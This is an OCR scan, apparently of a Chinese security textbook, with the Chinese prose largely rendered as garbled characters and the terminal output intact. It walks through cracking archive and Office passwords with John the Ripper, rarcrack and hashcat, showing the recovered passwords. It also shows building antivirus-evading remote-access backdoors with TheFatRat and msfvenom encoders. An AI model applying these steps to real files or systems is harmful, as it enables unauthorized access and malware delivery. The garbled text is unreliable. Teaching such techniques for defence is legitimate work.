tennis
test
testl23
tommy
topgun
tristan
wally
william
wilson
1lg2w3e
654321
666666
al234s
alb2c3d4
alpha

K 3.3.4.9 HiNFasi

@ ~
john /root/myzip/ziphash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single

L |

Press 'q' or Ctrl-C to abort, almost any other key for status

Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for
e.

Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for
e.

Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

al12345 (hack.zip/1.txt)

B 3.3.4.10 I EA

Y IR AR MR X AL A A6 T B4 rarcrack, /R I AR 2 18 1T 55 4 5

WRAEME, 4P 3.3.4.11, 3.3.4.12 AT
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:~# rarcrack
RarCrack! 0.2 by David Zoltan Kedves (kedazo@gmail.com)

USAGE: rarcrack encrypted archive.ext [--threads NUM] [--type rar|zip|7z]
For more information please run "rarcrack --help"
:~# rarcrack --help
RarCrack! 0.2 by David Zoltan Kedves (kedazo@gmail.com)

Usage: rarcrack encrypted archive.ext [--threads NUM] [--type rar|zip|7z]

Options: --help: show this screen.
--type: you can specify the archive program, this needed when
the program couldn't detect the proper file type
--threads: you can specify how many threads
will be run, maximum 12 (default: 2)

This program supports only RAR, ZIP and 7Z encrypted archives.
RarCrack! usually detects the archive type.

:~# rarcrack crack.rar --threads 20 --type rarl

B 3.3.4.11 X J rarcrack #f#

:~# vi crack.rar.xml
# rarcrack crack.rar --threads 20 --type rar
RarCrack! 0.2 by David Zoltan Kedves (kedazo@gmail.com)

INFO: number of threads adjusted to 12

INFO: the specified archive type: rar :
INFO: cracking crack.rar, status file: crack.rar.xml
INFO: Resuming cracking from password: '0000'
Probing: '0097' [28 pwds/sec]

Probing: '0183' [28 pwds/sec]

Probing: '0271' [29 pwds/sec]

Probing: '0359' [29 pwds/sec]

Probing: '0449' [30 pwds/sec]

Probing: '0540' [30 pwds/sec]

Probing: '0626' [28 pwds/sec]

Probing: '0716' [30 pwds/sec]

Probing: '0804' [29 pwds/sec]

Probing: '0892' [29 pwds/sec]

Probing: '0979' [29 pwds/sec]

Probing: '1070' [30 pwds/sec]

Probing: '1160' [30 pwds/sec]

Probing: '1246' [28 pwds/sec]

GOOD: password cracked: 'ppERl'

B 3.3.4.12 BLE xml XA 428 FFAAAN], rarcrack s #LfE E %45

X ¥ &8t crack. rar. xml RAEE B 4R F, REEE
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B

(o) BEMELE
AR, B8R JGH T VAR BN k2 XFL, RERFLF
WA, mATHE B HAFRIA, ZAF R SARAR— AL AR A
Ko ATH RE R TA55 0 L0900 P X E3LF B B0 E, B4
iE R T AT A5 R BN 69 217

FTA—f LT R AT H kBB ARAT AL, REFHA

JE BB, XA R R RS,

3.3.4.2 #fEEA 4 TE hashcat

Hashcat ¥ AKX ARIE % % 09 F &K 54, 6,35 word. MD5. WPA.
rar. zip 5%, XA BREFGAHUAFAELAN, FARHHE,
BN KRAE—TCOFI LA, IHAZLEK S, X 25 BRitME

K 3.3.4.13-3.3.4.19 A~
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root@kali: ~

[diction

Num 2 below
Num s below

TIgno
Enable

Num
Num

File
Num e g 5 t se
Num after runtim

restore
tore-di

Disable the comy ion of $HEX[] from the wordlist
r for hashli nd outfile

Update input hash fil
not write potf:
path to potfile

—m B H A BAFEE hash £A) de-m 1000, 2 A5 5 H
1000 A %F 2 69 hash £ A ;
—a BHIGE BHEE X

—o AHAE R b LA
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raot @kal

Xt mff HwiE EE EB

—speed-only f t <, then quit
size and time to process

skipped 1

nd quit
ngle rule e ch word from left wordlist
ngle rule word from right wordlist
iltiple rules z each word from wordlists

per rule
per rule

incrementing at
wer (but
brain s
th in
e brain client,

FhCvGUSiRg
1db
Allow

H3.3.4.14 A3
-1, =2, -3, 4R AZLEHK, E@mEEEH Fi#HI;
—i A X, HEP—increment-min ¥ £ & )1z %,

—increment—max 5 © w KAz 4K
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BERESE (o)

- [ Hash mode

M
MD5

) 256-bit, big-endian
-bit, big-endian

a512_bin(p

T o B o T e T T O O B S o S o o Y S S Y S S A S R =

|
—_—
|
|
|
|
|
|
|
|
|
|
|
|
|
| G
|
|
|
|
|
|
@ | K
|
| |
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

B 3.3.4.15 %449 hash H X,
X E T L F69 hash 2 X, tb4e 0 4K % MD5, 100 4X & SHA1,
Jo R ME—AMD5 45, HEMALH-—m 0BT, Hv R,
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BEMESE

, collider #1
4), collider #2

SR S K]

L

ollider #1
ollider #2

ents.
ments

1
1
1
1
1
1

ed)
ed Multi-File)

[ e T S S S S

B 3.3.4.16 % 449 hash 4% X
Hashcat ¥ #Hayaifits RAEw %, X EFHET —345, FLL

~

'CE T VAR AT N hashcat - h k&5,
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Straight

Combination
Brute-force

Hybrid Wordlist + Mask
Hybrid Mask + Wordlist

B 3.3.4.17 L HayHEHEX

X E BT hashcat #9-a 2 HPT L F 09 EHE X, Hde-a 3
REFE N R R, RATHAXAAE X R, LT AALT
1351,

- [ Built-in Charsets ] -
? | charset

abcdefghijklmnopgrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXY Z
0123456789
0123456789%abcdef
0123456789ABCDEF

1"#$%8" ()*+,-./ ;= \]"_"{]|}~
?17u?d?s
0x00 - Oxff

B 3.3.4.18 NEM A ZXLFH

TEAZTRHEFHFORERKX, 0| REFTAHDE u
REITA KEFH, d KEHKF, s KEFHKFHF, aREA DE
FH, KREFHE., XF. FHrFFe0045. BERAXEFET A

- [ Basic Examples ] -

Attack- Hash-
Mode Type Example command
+ +

-m 408 example40@.hash exa

Wordlist $P$ hashcat -a 0

Wordlist + Rules MD5 hashcat -a @ -m @ example@.hash
3
1

Brute-Force MD5 hashcat -a 3
Combinator MD5 hashcat -a

-m @ example®.hash
-m @ example®.hash exa

B 3.3.4.19 444 £
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| pram,
iIX 2 & A1EF—T Brute-Force iXANi& R £, KAVZHE6Y 2
— A md5 1A, -a 3 EFENAM, m OB/ THMEAER
MD5, examp | €0. hash X & &4 £ 69 hash 1&, )& 49?a%?a?a?a?a?a,
AP HF—laREGAMEH DNEFH, KEFH, KT, HHFH
b z—, RE#HITHINBDEEBE™,
EAVE AR —/MD5 {8, % aKJSabf X /NF 45 & A | A
ér4~: echo —n aKJSaaf |openss| md5, %= 3.3.4.20 Fi:

& ~
aKJSabf

(stdln)— efldb@f??16@d?35f8?d?d8fbﬁa?@98b

B 3.3.4.20 A%

J6 69X — % F 5 :ef1db0f27160d73587d2d8f64a2098b Bp 2
A G Wy A, ARA BRI —T, WAL T o

hashcat —a 3 -m 0 =1 '?1?u’
ef1db0f27160d735f87d2d8f64a2098b ——increment
——increment-min 5§ ——increment-max 7 a?1?1?21?1?1?1 -o
/root/mytest/crackmd5. txt - remove

43

—a 3: R

-m 0: A AEA9R MD5 £ A
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B

BEMEHE (o)

-1 21" BREFIRR | ZFu, FIEFHFREKRE
5

ef1db0f27160d735f87d2d8f64a2098b: &% &4 MD5 {8, <. ~T
RAEB XL AXAER, BRI

—increment ——increment-min 5 ——increment-max 7: X
FRRNKREA 5, AKKEA T4

a1 R FZ A AFH a, TR RELE
X&' 21?2, BFRXE R NDEFF

-0 /root/mytest/crackmd5. txt: #5 4 R4 5269 X4+ H

- remove: F¥LEREKEI L EI /T
SRS F G I, 4 3.3.4.21 P

'?17u' efl1db0f27160d735f87d2d8f64a2098b
7 a?17171717171 /root/mytest/crackmd5.txt —remove
hashcat (v6.1.1) starting ...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.@.1, RELOC, SLEEF, DISTRO, POC
L_DEBUG) - Platform #1 [The pocl project]

* Device #1: pthread-Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz, 2868/2932 MB (1024 M
B allocatable), 4MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256

B 3.3.4.21 Fisakht
% Status 4 Cracked B X &k L2 Em s, T @ iA R +H

AL BR VAF B a k89 5-7 {2 KB F4,Progress K&k R &
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‘1

;!g!.,%%zijﬁiaﬁ;%Eéﬁ

X9t ., BAT21X 2] 23. 38%E4FAF R E]| E 4, 5 Candidates
TR XA .

Session

Status :|Cracked

Hash.Name

Hash.Target : efldb0f27160d735f87d2d8f64a2098b

Time.Started : Fri Feb 5 13:44:03 2021 (35 secs)
Time.Estimated ... : Fri Feb 5 13:44:38 2021 (@ secs)

Guess.Mask :la?17172171721721 [7]

Guess.Charset : -1 ?1?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue : 3/3 (100.00%)

Speed. #1 - 128.8 MH/s (3.33ms) @ Accel:102%4 Loops:128 Thr:1 Vec:§
Recovered : 1/1 (100.00%) Digests

Progress 1 |4622712832/19770609664 (23.38%)

Rejected : 0/4622712832 (0.00%)

Restore.Point : 1708032/7311616 (23.36%)

Restore.Sub.#1 ... : Salt:0 Amplifier:896-1024 Iteration:0-128
Candidates.#1 :atnHQTZ — aPDAHog

B 3.3.4.22 HMER AR
HAVE/root/mytest B F T K ILFHE A m 89 crackmd5. txt
AL, aTHA—T, B 5/ @302 R ok i ka9 840 | 4o B

3.3.4.23 Fiar:

| J
() tRISE) # ®I(0) #EENH)
efldb0f27160d7 d2d8f64a2098h:aK1Sabf

B 3.3.4.23 #fE S 5

T & EZAVHE T — T 4T docx., pdf 3 LA, &AL

word A1, #HE—Aword, B E—®{Z & KREXIZXA, Wi
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BEMEAR ‘

3.3.4.24-3.3. 4. 26 A7

wit w8 318

I A= ME A ALY

D 2 B I U-~-aex. X* P
B ;i i — X | #E b HFFE
> ¥ Q-F-A-r- A8 BE 3 b T HiEEE SEMS
B =ik [ [ .2 S EEEE &F
XERAIINERE

XEFEATIINEAR

XEFELTINEAR

XEFEALNEAR

XEFEANEAR

B 3.3.4.24 %X & docx LAEA A

001.docx - Word s == 0 X
B3
==
001
=5
{FAPITRY B -
» SR A AT ST i
ERs a Fl 11.4KB
- i 1
FEAREESE o b
SEEEENE i : e s
R immmmiesnn vt e
Sk Adobe &, FHeEREaHE S e e
PDF EHEETINEE g% e Lot EImFD
P mmenie =t B
$TED
D REEED) Li==S= )
SRR A L S risREE
COET e
AR R SR, T
@ EFMEHENE, Ry
HRE SRS
\ EEETEEO ERAR
R OB ASFEES e TS
e -
brisE

B 3.3.4.25 &R FAEITHE

X E F AR 152021, e ] 3. 3. 4. 26 AT
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RIS

}_ E=SliEh A ol hb e A S s
BT fpee ;

| TR ASETINE

|  EE(R):

= NRESAETEE, NEHEERE. B
WEEEr =R RIS — s,
| (HioE EEEETAISM. )

3 e B
?QL' [ A0 kb gy s = s e il
’if? ) AR,

B 3.3.4.26 % B %

¥ % J5 49 001. docx LA N 2 /root/mytest B KT, 4B
3.3.4.27 P+~

froot/mytest/

B 3.3.4.27 # 0N L4

#&AM A john—1. 8. 0—jumbo—1. tar. gz iX &% T A 4 mx, 001. docx

g hash 15, Z LT EERW ELTHIPT, LT UAERNGHEER

www. anquanrensheng. com ¥ T #, T #/5/4/x%]/root/mytest H

*, %K 3.3.4.28 Fi:
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froot/mytest/

john-1.8.0- 001.docx

B 3.3.4.28 f#/% hash £ T A

KRG SAVHENBZA AR AR, [ 3.3.4.29 A

root@kali ~ fmytestfjohn-1 8.0-jumbo-1jrun

MfF ENfE W EE B

~/mytest/john-1.8.0-jumbo-1

README-jumbo
john-1.8.0-jumbeo-1
SCHHF) AR

€924

fir |
= Eh
.O .

B root
do SrC READM i IME-jumbo
U osE README README-jumbe

O =
=

= =%

B 3.3.4.29 #HALFk

¥ HLA run INAIH L, LFEZHHEAND run 28, X FZ &K

HAELERAT, 4R 3.3.4.30 Fr:

~/mytest/john-1.8.0-jumbo-1

K 3.3.4.30 A3 run 2%
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)\

BEMEAE

TAH run BRTHAE, B 3.3.4.31 B, &A1E A

office2john. py X A42 /7 & ¥ 001. docx 4 mx hash f.:

Xt ENfE B BB BB

] ~/mytest/john-1.8.0-jumbo-1/run

1password2john.py
7z2john.py
aix2john.pl
aix2john.py
alnum.chr
alnumspace.chr
alpha.chr
androidfde2john.py
apex2john.py
ascii.chr
benchmark-unify
bitcoin2john.py
blockchain2john.py
cisco2john.pl
cracf2john.py
dictionary.rfc2865
digits.chr
dmg2john.py
dumb16.conf
dumb32.conf
dynamic.conf

root@kali: ~

dynamic_flat_sse_formats.conf

ecryptfs2john.py
efs2john.py
encfs2john.py
genincstats.rb
hextoraw.pl
htdigest2john.py
ikescan2john.py
ios7tojohn.pl
john.bash_completion
john.conf
john.zsh_completion
kdcdump2john.py
keychain2john.py
keystore2john.py
known_hosts2john.py
korelogic.conf
kwallet2john.py
lanman.chr
latinil.chr
1dif2john.pl

Jmytest/john-1.8.0-jumbo-1jrun

leet.pl
lion2john-alt.pl
lionzjohn.pl
1m_ascii.chr
long.txt
lotus2john.py
lower.chr
lowernum.chr
lowerspace.chr
mailer

makechr
mcafee_epo2john.py
ml2john.py
mozilla2john.py
netntlm.pl
netscreen.py
odf2john.py
office2john.py
openbsd_softraid2john.py
openssl2john.py
pass_gen.pl

K 3.3.4.31 XHFHaymaesk
4 px hash 18, 4o 3.3.4.32 Ffi~:

. /office2john. py

/root/mytest/001hash. txt

n.py /root/mytest/001.docx

/root/mytest/001.

~/mytest/john-1.8.0-jumbo-1/run
1 /root/mytest/0@1hash.txt

password.lst
pcap2john.py
pdf2john.py
radius2john.pl
regex_alphabets.conf
relbench
repeatsil6.conf
repeats32.conf
rexgen2rules.pl
sap2john.pl
sha-dump.pl
sha-test.pl
sipdump2john.py
ssh2sshng.py
sshng2john.py
stats
strip2john.py
sxc2john.py
upper.chr
uppernum.chr
utf8.chr

docx >

A
B A AT

B 3.3.4.32 4 % hash 1&

BEEZEENAGTRMNAAE AR, py M4, Bt

wam k. /7 =T VA,

XA AF AL

A py X, #& AN

WA 89 hash {54k & & T 001hash. txt X4 ¥, T@hA—T, 4=

K 3.3.4.33 i
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| 2
XHF(F) $RIS(E) #BF(S) HmM(O) FEAH)
001.docx:$0ffice$*2013*100000*256*16*3dbaed

B/ 3.3.4.33 4% hash {&
RGEXIH —EFEREZEHRR py THHE T £ b9 N F 5
B LANREERRZ “ X L hash 48”7 8] § 557, Bik&ie
2@ “001.docx: 7 X F T, B AXLFHIRE T office

#9 hash 18, KAMF ML E LR 3. 3. 4. 34 Fi:

B 001hash.txt
MH(F) fmEB(E) MEZ(S) EmM(O) FBEHH)
$office$*2013* 00*256*16*3d6ae88b77T0OT55

[root/mytest/

B 3.3.4.34 #4#& 4K A EW hash 1&

T &Ik AR, AW B AL b B A AR KR 8 T A 9600,

4B 3.3.4.35 T
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root@kali: ~
X¢r Wi wiE EE FE
DE)

10400 PDF
10410 PDF

(Acrobat - 4)

(Acrobat 2 - 4), collider #1
10420 | PDF (Acrobat 2 - 4), collider #2
10500 PDF 1. (Acrobat 5 -8)

10600 PDF 1.7 Level 3 (Acrobat 9)

10700 | PDF 1.7 Level 8 (Acrobat 10 - 11)

9400 MS Office 2
9500 MS Office
9600 MS Office 2
9700 MS Office
9710 MS Office
9720 MS Office
9800 MS Office

ww w

C‘:

$0/$1, MD5 + RC4

$0/%$1, MD5 + RC4, collider #1
$0/%$1, MD5 + RC4, collider #2
$3/$4, SHA1 + RC4

9810 MS Office $3, SHA1 + RC4, collider #1
9820 MS Office 3 $3, SHA1 + RC4, collider #2
18400 | Open Document Format (ODF) 1.2 (SHA-256, AES)
18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish)
16200 Apple Secure Notes

15500 JKS Java Key Store Private Keys (SHA1)

£ C (0 aliala

VAN AW AW AW AW/

BANRR G BDH KB FH+EFOBK, FBA 64, KF
TALRAE— AR KB FEARF AT, A A E
BT ok SRR AR 6 2 F A XKL E, R4
ERR A 0010k, txt ¥, 4o 3.3.4.35 AT, I 4& HiZ At A

aE, 4o RA TG RT AE AR & AR EBP T .

~

3 9600 /root/mytest/@@1hash.txt

6 7uru?zdzdzdzd /root/mytest/001lok.txt —remove
hashcat (v6.1.1) starting ...

[ 3.3.4.35 b af#%

REFTAEP KAV T A s AT HRMAIRS, 40K 3.3.4.36
BT :
Status: Running X & JE A #KFE P,

Candidates: SA1219->SK7990, 4B iE /& 2 XX AN B A 69 5%
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)

7

EMEHE (o)
By, T GEM LT R AR R KB F A9z 3 F 6
%A T Ko

Session : hashcat

Status : |Running

Hash.Name : MS Office 2013

Hash.Target.. : $office$*2013+100000%x256%x16*%3d6ae88b77f@f55fc8afe39 ... 806279
Time.Started.....: Fri Feb 5 14:54:18 2021 (13 secs)

Time.Estimated ... : Sat Feb 6 00:18:40 2021 (9 hours, 24 mins)

Guess.Mask : 2uzu?d?d?d?d [6]

Guess.Queue. . : 1/1 (100.00%)

Speed.#1 C 200 H/s (14.20ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered... : 0/1 (0.00%) Digests

Progress.... : 2048/6760000 (0.03%

Rejected : 0/2048 (0.00%)

Restore.Point....: 0/260000 (0.00%)

Restore.Sub.#1 ... : Salt:® Amplifier:1-2 Iteration:21248-21376

Candidates.#1 : ISA1219 — SK7990

[sltatus [plause [blypass [clheckpoint [qluit = |}

B 3.3.4.36 MY, #SHETHEMIRE
23 U AP B F I R AR AR AR T, 4B 3.3.4.37 i

hashcat

Cracked

MS Office 2013
Hash.Target
Time.Started : Fri Feb 5 15:18:31 2021 (31 secs)
Time.Estimated ... : Fri Feb 5 15:19:02 2021 (@ secs)

B 3.3.4.37 #TAEMBRI

7= 001ok. txt ¥, X ARG & A MM %A, ok 3.3. 4. 38

|
XH(F) fRIE(E) MER(S) EM(O) HEIH)
8b06a8aB09a0809bTcbIbb51e33e19806279: 752021 ||

k]

T

B 3.3.4.38 & & akE B
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AN
q

v RTFARMERE KRR X SRR B E A R T
KRBT R R, XA AR A E R R AR AR RAY,
i he R E LK Ao B 5B AT S AR A BFRL A E BT — BT 1]
B, BFREXEZRERMMEHITET, AEREELZATRS,
A FEAR ) 69 B AL E BRG] £ S — ) e R AR E LA 5 0901
H AU SR AR—A hash 5450 & 4E % Bty

2. XTELFH, RENBEREZERAMLSIEFSFREE
AR FIH LA, mife RZ A F IR RREGEL G
B AR fRACRFEAE T R T, 7T A8 2 AV AP sE R AR B AR89 5%
ALY, B EF £ jia019900826 X HA B £ 15 & F %k 8
A AR A G4 TR B B AR? IANRAEEEA £ T3

&

3.4, REFHEHMY, TAMEED?
3.4.1 FFHFHAM4R TR B MR RHFHE?
EZMNEAFHEFFHRAEZMTHE AL HEATEZKRL K
#F, ARTEZH—AAEAN, ZHARY T EREEHZ —NMARLR
REFET, F2ABMREEEN RS BBEAZITHE, FHEHM4
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BEMEHE (o)
S ARAER D REFREZLF T A TEFIRAN, Hode 5 A F)
AN o HAPLE B A AFAED T &5 AR, B HE = m A AT,
A Lde RIEAZ T 02 A SIS RE 2P 2 A R o
ARARTR—AFE A G AR FERBAEEZNAFIELR? K
STRE, PTVARBRFE & B AT IR 69 iR IR IR T ARIEAFAEAD R F| 2 VA
I, RBAEBALA O TIRFGI AN, T AHEE, Y5
FRATEAAT AT AT R om0 . K E FADE L3 IEF
FIRAME, SREARSZEFFT X, F—RFHFHMETREEF
e T 27 A, X EBARZATE RS 1427 dongwenlong. exe

& E A% 3] www. virustotal. com #7442 & 3.4.1.1 BT

53 (1) 53 engines detected this file
€8320bab34733521dbde7418a?b502a53116403b3f58d8 1dd2d4d92c4e879791 72.07 KB 2021-02-05 07:50:38 UTC
dongwerlong exe
overlay  peexe

DETECTION DETAILS BEHAVIOR COMMUNITY
A 0} Ad-A a
AhnLab-y O] I.R1 AlYac @
SecureAge APEX O m Arcabit
Ava (O] tch|[ AVG
Avi @ TR BitDefend ®
(O) 1NN F 8 ©)
CAT-QuickHeal AV ®
Comodk 4 dIStri O] fich
Cyber " 2d27d Cyl ®
< @ ™ Cy (O] Eldk

B 3.4.1.1 2R 71 ZFAFHHEEXHENLE R

MEEFE P EANAEE L HR 71 BFFM LA 53 NFFH 4
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%

(=) PEMESE
FIERABEINRY, ML 18 HRFHFHMAELARANERZKRE, &
AL MIETRMRITT, 408 3.4.1.2 B

ViRobot (@) TrojanWin32.Elzob Ger Yandex

ZoneAlarm by Check Point {:_‘:j- HEUR: Trojan.Win32.Generic AegisLab /) Undetected
Alibaba () Undetected Antiy-AVL Undetected
Baidu ) Undetected CMC ~) Undetected
Drieb ) Undetected Jiangmin V) Undetected
Kingsoft () Undetected Palo Alto Networks () Undetected
Panda () Undetected TACHYON ) Undetected
Tencent Undetected TotalDefense +) Undetected
VBA32 () Undetected VIPRE (%) Undetected
Webroot ) Undetected Zillya . Undetected
Zoner () Undetected Avast-Mobile

K 3.41.2 HFERERDETGFZFINE

do FARG B LS T R A 18 R A EFERL P eILA, AR
A B RREEAR GG AATAR Fy b 48 B A AR i A K A AN A 8
BINARFALEFART, TNadt. BE—MRA4M A K HF5 4
WA, R TR FRAAS T,

3.4.2 BER i THAEIE?
EA—ANEFIFFAR, BEAT REFFHMA, FAE
RAFRAOEFINAN ST 0N, REEZHRKAARK LT —
N XA RFHER ITRFRRT BB R BHARSZIEF
B, KA —NAREZHRTREGZEAR, MR FF5 04

WA D BARIE, SRT T RFERMALRRE A,
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BEMESE (o)
HANBL— T B & T R 6 5 AR AR ?
EE MR R E LA T RAN—ENE, 5F T
1) BE I
7 ik — S AR AR B oS s
1452 77 ik J8 4% AL AT P AF i 69+ 55
EZ i pbastin

2. & R B — 8 RAr A Az A AEAD P A 8 o gt A, 15

NEBERBTFE I RES

J& — % F MK — T LA A8 F E 1% R

TEZ AR TR RN B &

1452 75 ik Je AF AR AL BT 3 2 09 T 5 R F4F B 89, R &4 KD
FEB—THTLAT.

2. & I C B AFAEAD BT XY R B A el T RF & TS AE AR

7.

Tk = F MBIk

1. 4580 77 ik JeAF LD BT S 2 89 TE 2 48 449 & P B 4 i 7 e &
LAY 45 4.

2. E MEE AFEA T LT AT AR RO IL RG4S, o
JE, UNE 37 JMP 3.

77 kv AR AT A ek
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1. 457 7 ik de LA A AE A0 09 XAD)IR - B4 —F .
2. AL E: BA — 6 Bk, KD Ik 5 & M e AL
B 09 IEF AT
Ty ik B il R BkEE K
1.5 2 75 ik e Anan 45 B R X35, (48 KD a4 = IR &) AT 5
1R jmp 254 LA AR R AR LU EIAT T —F44
E RSOE 8 R A AR, EIK KB E B HUE.
2) AR
B R, 4o RBALF R — KB, IR RO ER, Tk
HREARATRTOLEREGEDHRAT L, BRI F LA — BB H R 5 &
BAFRR, Arlme AR R B A%, ARE A6, &
EOEBRARKAE Y ARAECE, ProdglT A% Ei, b5k
HEHRMANE, W RIFAFB—NRT LBEETEMN, AHEILY
FARL ARSI ESEAB T8, XA E R, B—FohER
b, FTHRFFHMEFGLN,
3) M
MR AR ERNF O FRZ—, g B RIEAF—A
ARG AA Lk upx e RE L CeE A lordpe ¥ LA T &A1, K

¥ RBFHFANEE, RBEM odiTFLFH AL AND LT 100
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. 8

BEMEHE (o)
FHAGE - RBIE X FRFERERAMN 2T T B E A
AT AE AR A0 B8y, BIFERAARELHIETOAT S,
BAEF T ERATA— AAKRSFRELRELFZITFE L ZF
S0 —RER,

4) HafgL

Ha e Jm A A B 09 F 5, it a9 R IR & S8 LR Ao e e A

a2 (P HEL, £ w1 ZEXOARES) iLXFH M4

™~

MR B| A AEAL TR A ESEF AN, it e, —kiEH#
Bt M E R T, ERA RERGAFNMSE, RELRASEF
8, XTUAHR “2A7 HRAFRMWAGHN K.

5) ZAAFANCE

(L EEY =

ALFaaEaA “2AX7 WILREER, LF4ANTLFE
BE—RARSMHPRFEREIMEL, RAENETFFH M40 E
8. F—REEEREsFX L ARAEF HA, WFINHE KL A FF R
RAFNFILAHFIES, wRRNHE—ATILFHHETHAT
ABEEARAEEANE, BAREBRA AR ELMNEmAE, T
UBETERE, AT T KL LMEL A E b R 5]

e, B RARLARILAHIEST FoR, W RHRIET £,
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(o) BEMELE
AR ARFTEZERREEZNRBEIET S, — AT 8%
TFTRATRA XN IABEEN. MAER—HT, BARSEH
AERLT, INTILFWHETRERSRARTAT .

ATA B, LR R AMERAA RS, t4e )l TheFatRat %
FAER A, T AT S TRGFFHM4, KM RERKIANE

Z Je® 3.4.2.1 7, AiEgit TERFLTAT

root@kali:~# git clone https://github.com/Screetsec/TheFatRat.git
IE &% 'TheFatRat'
remote: Enumerating objects: 4, done.

remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
EEL}SE Fol -2 6% (848/14063), 21.07 MiB | 889.00 KiB/s

B 3.4.2.1 %3 TheFatRat
EMERZEK IR, XERARAAR—HETT, BAHESEG®
Jizi i& 2] 69 15 JUST RE AR R —AF, 4o RA 3P R TT VAR R SRR Rk o
KX P OB EIFT, £ root HRXTA TheFatRat Lk, stk
e A%, /fatrat B EPTia4T, 4B 3.4.2.1 BT

root@kali: ~/TheFatRat
X iff fwiE BT A

® -
cd TheFatRat

® ~/TheFatRat

fatrat LICENSE powerfull.sh setup.sh

backdoor_apk grab.sh prog.c

CHANGELOG.md prog.c.backup

chk_tools ISSUES.md README . md troubleshoot.md
release update

~/TheFatRat

B 3.4.2.2 iz{T TheFatRat
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H—A 2574w E 3.4.2. 3 FrT:

Xt wfE W2 EE H®

H3.4.23 Z&#7T

XTEZRTEAMNMASZH LN BT AEF L F F

www. virustotal.com, 48X A AMHAB? HA—B 47T, AF A
AHRFET RHRAFEINE AR, B3t 47 547K 2 41
st ey EFAE], BIA Y H R XA TheFatRat k%4 49 B 4% 5L 7%
ART o

KM DEREZHR T, F@OLHRA4E 3.4.2.4 Fi:
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root@kali: ~/TheFatRat

Xt mfF RiE ZE M

|8 'lT_ .4f(L
|_| _|_|_'|_|_|_|_|'

_I_{L
4 .0 _|
1 1]

Backdoor Creator for Remote Acces [--1]
ted b [--1
[--1]

[--1

[--1

[--1

[--1

SELECT AN OPTION TO BEGIN: I |
[--1

/

Create Backdoor with msfvenom

Create Fud 100% Backdoor with Fudwin 1.0

Create Fud Backdoor with Avoid vi1.2

Create Fud Backdoor with backdoor-factory [embed]
Backdooring Original apk [Instagram, Line,etc]
Create Fud Backdoor 1000% with PwnWinds [Excelent]
Create Backdoor For Office with Microsploit
Trojan Debian Package For Remote Acces [Trodebil
Load/Create auto listeners

Jump to msfconsole

Searchsploit

File Pumper [Increase Your Files Size]

Configure Default Lhost & Lport

Cleanup

Help

Credits

K 3.4.2.4 F&@ BRI
ERXPCL2AERKRERFS T msf, REKMNZEF1, AR

msfvenom €| ZE—ANE 11425, 4B 3.4.2.5 B
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root@kali: ~/TheFatRat

Xt mifF IR ZE FE

LINUX >> FatRat.elf
WINDOWS >> FatRat.exe
SIGNED ANDROID >> FatRat.apk
MAC >> FatRat.macho
PHP >> FatRat.php

ASP >> FatRat.asp

JSP >> FatRat.jsp

WAR >> FatRat.war
Python >> FatRat.py
Bash >> FatRat.sh
Perl >> FatRat.pl

doc >> Mlcxosoft doc (

1—[ 1-[creator]:

B 3.4.2.5 #£4% tool K&

HAVMAN2 @ L, P BT AN IPFFLE, ARATR

T, AFaTE—#k, Wk 3.4.2.6 FiT:

Set LHOST IP:

B3.4.2.6 78 P14
RERBRTREGINAE AR ORES ST, oA

3.4.2.7 P
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t LHOST IP:
Set LPORT: 55

Please enter the base name for output files : hack

B 3.4.2.7 BLEEIIAK

BLE payload, 4=/ 3.4.2.8 Ff<:

windc
windc
windc
windc
windc
windows/

e = ' o= e
LNaose rmylugu

KA 3.4.2.8 4% payload

BHRABRERZL, WwE 3.4.2.9 A

S
|
++
|
|
|
|
=t

B 3.4.2.9 £3FBESR L
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BEMEAE

=\
A2 B F T £ ke

VA, &ATVRA — T BN AR T AR

i AR, 4o 3.4.2.9-3.4.2. 11 Fi:

No.1 & %t

) x86/shikata_ga nai #AiT%m4G, #—TF 7 A4nid

B2 2m A0 10 K

Attempting to read

Attempting to read
Attempting to read

[-]1 No platform was selected,

ad

[-] No arch selected,

Found 1 compatible

Attempting to encode payload

x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
x86/shikata_ga_nai
Payload size:

payload from STDIN ... Attempting to read payload from STDIN ...

payload from STDIN ...
payload from STDIN ...
choosing Msf ::Module:

Platform::Windows from the paylo

selecting arch: x86 from the

encoders

payload

with
with
with
with
with
with
with
with
with

10 iterations of x86/shikata_ga nai
size 381 (iteration=0)
size 408 (iteration=1)
size 435 (iteration=2)
size 462 (iteration=3)
size 489 (iteration=4)
size 516 (iteration=5)
)
)

succeeded
succeeded
succeeded
succeeded
succeeded
succeeded
succeeded
succeeded

size 543 (iteration=6
size 570 (iteration=7
succeeded with size 597 (iteration=8)
succeeded with size 624 (iteration=9)
chosen with final size 624

624 bytes

B 3.4.2.9 x86/shikata_ga nai %43 10 )X

Found 1 compatible encoders

Attempting to
Xx86/countdown
x86/countdown
x86/countdown
x86/countdown

Xx86/countdown
x86/countdown
x86/countdown
x86/countdown
x86/countdown
Payload size:

Ja L X

% 150 T1

CEC P

8 iterations of x86/countdown
642 (iteration=0)
660 (iteration=1)
678 (iteration=2)
696 (iteration=3)
714 (iteration=4)
732 (iteration=5)
succeeded with size 750 (iteration=6)
succeeded with size 768 (iteration=7)
chosen with final size 768

768 bhytes

with
size
size
size
size
size
size

encode payload
succeeded with
succeeded with
succeeded with
succeeded with
succeeded with
succeeded with

B 3.4.2.10 x86/countdown %% 8 X

FTEL6RRBA, wE 3.4.2.11



P

Found 1 compatible encoders

